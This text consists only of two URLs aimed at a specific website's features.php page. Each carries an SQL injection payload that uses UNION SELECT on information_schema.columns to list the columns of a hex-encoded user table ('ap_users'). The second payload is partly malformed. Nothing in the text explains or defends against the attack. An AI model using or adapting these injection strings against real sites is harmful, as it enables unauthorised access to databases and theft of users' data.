http://www.ontheminute.com/features/features.php?id=-10 union select 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13 from information_schema.columns where table_name=0x61705f7573657273--

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http://www.ontheminute.com/features/features.php?id=-10 union all select 1,2,(column_name),4,5,6,7,8,9,10,11,12,13%20 from information_schema.columns where table_name=char ap_user --